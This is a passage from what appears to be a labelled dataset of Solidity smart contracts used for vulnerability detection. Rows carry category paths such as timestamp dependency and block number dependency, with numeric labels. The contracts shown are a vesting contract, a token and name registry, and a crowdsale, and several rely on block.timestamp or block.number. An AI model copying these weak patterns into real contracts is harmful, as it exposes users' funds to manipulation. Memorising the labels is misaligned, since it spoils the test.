payment)); } function unlockAmount() public view onlyReserveWallets returns(uint256){ uint256 stage = vestStage(); uint256 totalUnlocked = stage.mul(allocations[msg.sender]).div(stageSettings[msg.sender]); return totalUnlocked; } function vestStage() public view onlyReserveWallets returns(uint256){ uint256 vestingMonths = timeLockDurations[msg.sender].div(stageSettings[msg.sender]); uint256 stage = (block.timestamp.sub(lockStartTime)).div(vestingMonths); if(stage > stageSettings[msg.sender]){ stage = stageSettings[msg.sender]; } return stage; } }",./Dataset/timestamp dependency (TP)/,6,6 313.sol,"pragma solidity ^0.4.21; contract Issuer { address internal issuer = 0x692202c797ca194be918114780db7796e9397c13; function changeIssuer(address _to) public { require(msg.sender == issuer); issuer = _to; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } library StringHelper { function stringToUint(string s) pure internal returns (uint result) { bytes memory b = bytes(s); uint i; result = 0; for (i = 0; i < b.length; i++) { uint c = uint(b[i]); if (c >= 48 && c <= 57) { result = result * 10 + (c - 48); } } } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } } contract ERC20 is Issuer, ERC20Interface { using SafeMath for uint; bool public locked = true; string public constant name = ""Ethnamed""; string public constant symbol = ""NAME""; uint8 public constant decimals = 18; uint internal tokenPrice; event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); struct Contributor { mapping(address => uint) allowed; uint balance; } mapping(address => Contributor) contributors; function ERC20() public { tokenPrice = 10**uint(decimals); Contributor storage contributor = contributors[issuer]; contributor.balance = totalSupply(); emit Transfer(address(0), issuer, totalSupply()); } function unlock() public { require(msg.sender == issuer); locked = false; } function totalSupply() public view returns (uint) { return 1000000 * tokenPrice; } function balanceOf(address _tokenOwner) public view returns (uint) { Contributor storage contributor = contributors[_tokenOwner]; return contributor.balance; } function transfer(address _to, uint _tokens) public returns (bool) { require(!locked || msg.sender == issuer); Contributor storage sender = contributors[msg.sender]; Contributor storage recepient = contributors[_to]; sender.balance = sender.balance.sub(_tokens); recepient.balance = recepient.balance.add(_tokens); emit Transfer(msg.sender, _to, _tokens); return true; } function allowance(address _tokenOwner, address _spender) public view returns (uint) { Contributor storage owner = contributors[_tokenOwner]; return owner.allowed[_spender]; } function transferFrom(address _from, address _to, uint _tokens) public returns (bool) { Contributor storage owner = contributors[_from]; require(owner.allowed[msg.sender] >= _tokens); Contributor storage receiver = contributors[_to]; owner.balance = owner.balance.sub(_tokens); owner.allowed[msg.sender] = owner.allowed[msg.sender].sub(_tokens); receiver.balance = receiver.balance.add(_tokens); emit Transfer(_from, _to, _tokens); return true; } function approve(address _spender, uint _tokens) public returns (bool) { require(!locked); Contributor storage owner = contributors[msg.sender]; owner.allowed[_spender] = _tokens; emit Approval(msg.sender, _spender, _tokens); return true; } } contract DEXified is ERC20 { using SafeMath for uint; struct Sales { address[] items; mapping(address => uint) lookup; } struct Offer { uint256 tokens; uint256 price; } mapping(address => Offer) exchange; uint256 public market = 0; Sales internal sales; function sellers(uint index) public view returns (address) { return sales.items[index]; } function getOffer(address _owner) public view returns (uint256[2]) { Offer storage offer = exchange[_owner]; return ([offer.price , offer.tokens]); } function addSeller(address item) private { if (sales.lookup[item] > 0) { return; } sales.lookup[item] = sales.items.push(item); } function removeSeller(address item) private { uint index = sales.lookup[item]; if (index == 0) { return; } if (index < sales.items.length) { address lastItem = sales.items[sales.items.length - 1]; sales.items[index - 1] = lastItem; sales.lookup[lastItem] = index; } sales.items.length -= 1; delete sales.lookup[item]; } function setOffer(address _owner, uint256 _price, uint256 _value) internal { exchange[_owner].price = _price; market = market.sub(exchange[_owner].tokens); exchange[_owner].tokens = _value; market = market.add(_value); if (_value == 0) { removeSeller(_owner); } else { addSeller(_owner); } } function offerToSell(uint256 _price, uint256 _value) public { require(!locked); setOffer(msg.sender, _price, _value); } function executeOffer(address _owner) public payable { require(!locked); Offer storage offer = exchange[_owner]; require(offer.tokens > 0); require(msg.value == offer.price); _owner.transfer(msg.value); Contributor storage owner_c = contributors[_owner]; Contributor storage sender_c = contributors[msg.sender]; require(owner_c.balance >= offer.tokens); owner_c.balance = owner_c.balance.sub(offer.tokens); sender_c.balance = sender_c.balance.add(offer.tokens); emit Transfer(_owner, msg.sender, offer.tokens); setOffer(_owner, 0, 0); } } contract Ethnamed is DEXified { using SafeMath for uint; using StringHelper for string; struct Name { string record; address owner; uint expires; uint balance; } function withdraw(address _to) public { require(msg.sender == issuer); _to.transfer(address(this).balance); } mapping (string => Name) internal registry; mapping (bytes32 => string) internal lookup; function resolve(string _name) public view returns (string) { return registry[_name].record; } function whois(bytes32 _hash) public view returns (string) { return lookup[_hash]; } function transferOwnership(string _name, address _to) public { require(registry[_name].owner == msg.sender); registry[_name].owner = _to; } function removeName(string _name) internal { Name storage item = registry[_name]; bytes32 hash = keccak256(item.record); delete registry[_name]; delete lookup[hash]; } function removeExpiredName(string _name) public { require(registry[_name].expires < now); removeName(_name); } function removeNameByOwner(string _name) public { Name storage item = registry[_name]; require(item.owner == msg.sender); removeName(_name); } function sendTo(string _name) public payable { if (registry[_name].owner == address(0)) { registry[_name].balance = registry[_name].balance.add(msg.value); } else { registry[_name].owner.transfer(msg.value); } } function setupCore(string _name, string _record, address _owner, uint _life) internal { Name storage item = registry[_name]; require(item.owner == msg.sender || item.owner == 0x0); item.record = _record; item.owner = _owner; if (item.balance > 0) { item.owner.transfer(item.balance); item.balance = 0; } item.expires = now + _life; bytes32 hash = keccak256(_record); lookup[hash] = _name; } function setupViaAuthority( string _length, string _name, string _record, string _blockExpiry, address _owner, uint8 _v, bytes32 _r, bytes32 _s, uint _life ) internal { require(_blockExpiry.stringToUint() >= block.number); require(ecrecover(keccak256(""\x19Ethereum Signed Message:\n"", _length, _name, ""r="", _record, ""e="", _blockExpiry), _v, _r, _s) == issuer); setupCore(_name, _record, _owner, _life); } function setOrUpdateRecord2( string _length, string _name, string _record, string _blockExpiry, address _owner, uint8 _v, bytes32 _r, bytes32 _s ) public { Contributor storage contributor = contributors[msg.sender]; require(contributor.balance >= tokenPrice); contributor.balance = contributor.balance.sub(tokenPrice); uint life = 48 weeks; setupViaAuthority(_length, _name, _record, _blockExpiry, _owner, _v, _r, _s, life); } function setOrUpdateRecord( string _length, string _name, string _record, string _blockExpiry, address _owner, uint8 _v, bytes32 _r, bytes32 _s ) public payable { uint life = msg.value == 0.01 ether ? 48 weeks : msg.value == 0.008 ether ? 24 weeks : msg.value == 0.006 ether ? 12 weeks : msg.value == 0.002 ether ? 4 weeks : 0; require(life > 0); setupViaAuthority(_length, _name, _record, _blockExpiry, _owner, _v, _r, _s, life); } }",./Dataset/block number dependency (BN),0,0 0x04935c19114d529E24070ED41f7bF4D4d822D1ed_MintedTokenCappedCrowdsaleExt.sol,"// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin pragma solidity ^0.4.8; /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /* * Haltable * * Abstract contract that allows children to implement an * emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode. * * * Originally envisioned in FirstBlood ICO contract. */ contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Interface for defining crowdsale pricing. */ contract PricingStrategy { address public tier; /** Interface declaration. */ function isPricingStrategy() public constant returns (bool) { return true; } /** Self check if all references are correctly set. * * Checks that pricing strategy matches crowdsale parameters. */ function isSane(address crowdsale) public constant returns (bool) { return true; } /** * @dev Pricing tells if this is a presale purchase or not. @param purchaser Address of the purchaser @return False by default, true if a presale purchaser */ function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } /* How many weis one token costs */ function updateRate(uint newOneTokenInWei) public; /** * When somebody tries to buy tokens for X eth, calculate how many tokens they get. * * * @param value - What is the value of the transaction send in as wei * @param tokensSold - how much tokens have been sold this far * @param weiRaised - how much money has been raised this far in the main token sale - this number excludes presale * @param msgSender - who is the investor of this transaction * @param decimals - how many decimal units the token has * @return Amount of tokens the investor receives */ function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Finalize agent defines what happens at the end of succeseful crowdsale. * * - Allocate tokens for founders, bounties and community * - Make tokens transferable * - etc. */ contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } /** Return true if we can run finalizeCrowdsale() properly. * * This is a safety check function that doesn't allow crowdsale to begin * unless the finalizer has been set up properly. */ function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); /** Called once by crowdsale finalize() if the sale was success. */ function finalizeCrowdsale(); } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * A token that defines fractional units as decimals. */ contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } /** * Abstract base contract for token sales. * * Handle * - start and end dates * - accepting investments * - minimum funding goal and refund * - various statistics during the crowdfund * - different pricing strategies * - different investment policies (require server side customer id, allow only whitelisted addresses) * */ contract CrowdsaleExt is Haltable { /* Max investment count when we are still allowed to change the multisig address */ uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; /* The token we are selling */ FractionalERC20Ext public token; /* How we are going to price our offering */ PricingStrategy public pricingStrategy; /* Post-success callback */ FinalizeAgent public finalizeAgent; /* name of the crowdsale tier */ string public name; /* tokens will be transfered from this address */ address public multisigWallet; /* if the funding goal is not reached, investors may withdraw their funds */ uint public minimumFundingGoal; /* the UNIX timestamp start date of the crowdsale */ uint public startsAt; /* the UNIX timestamp end date of the crowdsale */ uint public endsAt; /* the number of tokens already sold through this contract*/ uint public tokensSold = 0; /* How many wei of funding we have raised */ uint public weiRaised = 0; /* How many distinct addresses have invested */ uint public investorCount = 0; /* Has this crowdsale been finalized */ bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; /** How much ETH each address has invested to this crowdsale */ mapping (address => uint256) public investedAmountOf; /** How much tokens this crowdsale has credited for each investor address */ mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } //is crowdsale updatable bool public isUpdatable; /** Addresses that are allowed to invest even before ICO offical opens. For testing, for ICO partners, etc. */ mapping (address => WhiteListData) public earlyParticipantWhitelist; /** List of whitelisted addresses */ address[] public whitelistedParticipants; /** This is for manul testing for the interaction from owner wallet. You can set it to any value and inspect this in blockchain explorer to see that crowdsale interaction works. */ uint public ownerTestValue; /** State machine * * - Preparing: All contract initialization calls and variables have not been set yet * - Prefunding: We have not passed start time yet * - Funding: Active crowdsale * - Success: Minimum funding goal reached * - Failure: Minimum funding goal not reached before ending time * - Finalized: The finalized has been called and succesfully executed */ enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} // A new investment was made event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); // Address early participation whitelist status changed event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); // Crowdsale start time has been changed event StartsAtChanged(uint newStartsAt); // Crowdsale end time has been changed event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; // Don't mess the dates if(startsAt >= endsAt) { throw; } // Minimum funding goal can be zero minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } /** * Don't expect to just send in money and get tokens. */ function() payable { throw; } /** * Make an investment. * * Crowdsale must be running for one to invest. * We must have not pressed the emergency brake. * * @param receiver The Ethereum address who receives the tokens * @param customerId (optional) UUID v4 to track the successful payments on the server side * */ function investInternal(address receiver, uint128 customerId) stopInEmergency private { // Determine if it's a good time to accept investment from this participant if(getState() == State.PreFunding) { // Are we whitelisted for early deposit throw; } else if(getState() == State.Funding) { // Retail participants can only come in when the crowdsale is running // pass if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { // Unwanted state throw; } uint weiAmount = msg.value; // Account presale sales separately, so that they do not count against pricing tranches uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { // Dust transaction throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { // tokenAmount < minCap for investor throw; } // Check that we did not bust the investor's cap if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { throw; } } if(investedAmountOf[receiver] == 0) { // A new investor investorCount++; } // Update investor investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); // Update totals weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); // Check that we did not bust the cap if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); // Pocket the money if(!multisigWallet.send(weiAmount)) throw; // Tell us invest was success Invested(receiver, weiAmount, tokenAmount, customerId); } /** * Allow anonymous contributions to this crowdsale. */ function invest(address addr) public payable { investInternal(addr, 0); } /** * The basic entry point to participate the crowdsale process. * * Pay for funding, get invested tokens back in the sender address. */ function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { // Already finalized if(finalized) { throw; } // Finalizing is optional. We only call it if we are given a finalizing agent. if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } /** * Finalize a succcesful crowdsale. * * The owner can triggre a call the contract that provides post-crowdsale actions, like releasing the tokens. */ function finalize() public inState(State.Success) onlyOwner stopInEmergency { // Already finalized if(finalized) { throw; } // Finalizing is optional. We only call it if we are given a finalizing agent. if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } /** * Allow to (re)set finalize agent. * * Design choice: no state restrictions on setting this, so that we can fix fat finger mistakes. */ function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; // Don't allow setting bad agent if(!finalizeAgent.isFinalizeAgent()) { throw; } } /** * Allow addresses to do early participation. */ function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; //if (addr != msg.sender && contractAddr != msg.sender) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); // Don't change past assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); //start time should be greater then end time of previous tiers for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } /** * Allow crowdsale owner to close early or extend the crowdsale. * * This is useful e.g. for a manual soft cap implementation: * - after X amount is reached determine manual closing * * This may put the crowdsale to an invalid state, * but we trust owners know what they are doing. * */ function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time);// Don't change past assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } /** * Allow to (re)set pricing strategy. * * Design choice: no state restrictions on the set, so that we can fix fat finger mistakes. */ function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; // Don't allow setting bad agent if(!pricingStrategy.isPricingStrategy()) { throw; } } /** * Allow to change the team multisig address in the case of emergency. * * This allows to save a deployed crowdsale wallet in the case the crowdsale has not yet begun * (we have done only few test transactions). After the crowdsale is going * then multisig address stays locked for the safety reasons. */ function setMultisig(address addr) public onlyOwner { // Change if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } /** * @return true if the crowdsale has raised enough money to be a successful. */ function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } /** * Check if the contract relationship looks good. */ function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } /** * Check if the contract relationship looks good. */ function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } /** * Crowdfund state machine management. * * We make it a function and do not assign the result to a variable, so there is no chance of the variable being stale. */ function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } /** Interface marker. */ function isCrowdsale() public constant returns (bool) { return true; } // // Modifiers // /** Modified allowing execution only if the crowdsale is currently running. */ modifier inState(State state) { if(getState() != state) throw; _; } // // Abstract functions // /** * Check if the current invested breaks our cap rules. * * * The child contract must define their own cap setting rules. * We allow a lot of flexibility through different capping strategies (ETH, token count) * Called from invest(). * * @param weiAmount The amount of wei the investor tries to invest in the current transaction * @param tokenAmount The amount of tokens we try to give to the investor in the current transaction * @param weiRaisedTotal What would be our total raised balance after this transaction * @param tokensSoldTotal What would be our total sold tokens count after this transaction * * @return true if taking this investment would break our cap rules */ function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); /** * Check if the current crowdsale is full and we can no longer sell any tokens. */ function isCrowdsaleFull() public constant returns (bool); /** * Create new tokens or transfer issued tokens to the investor depending on the cap model. */ function assignTokens(address receiver, uint tokenAmount) private; } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function 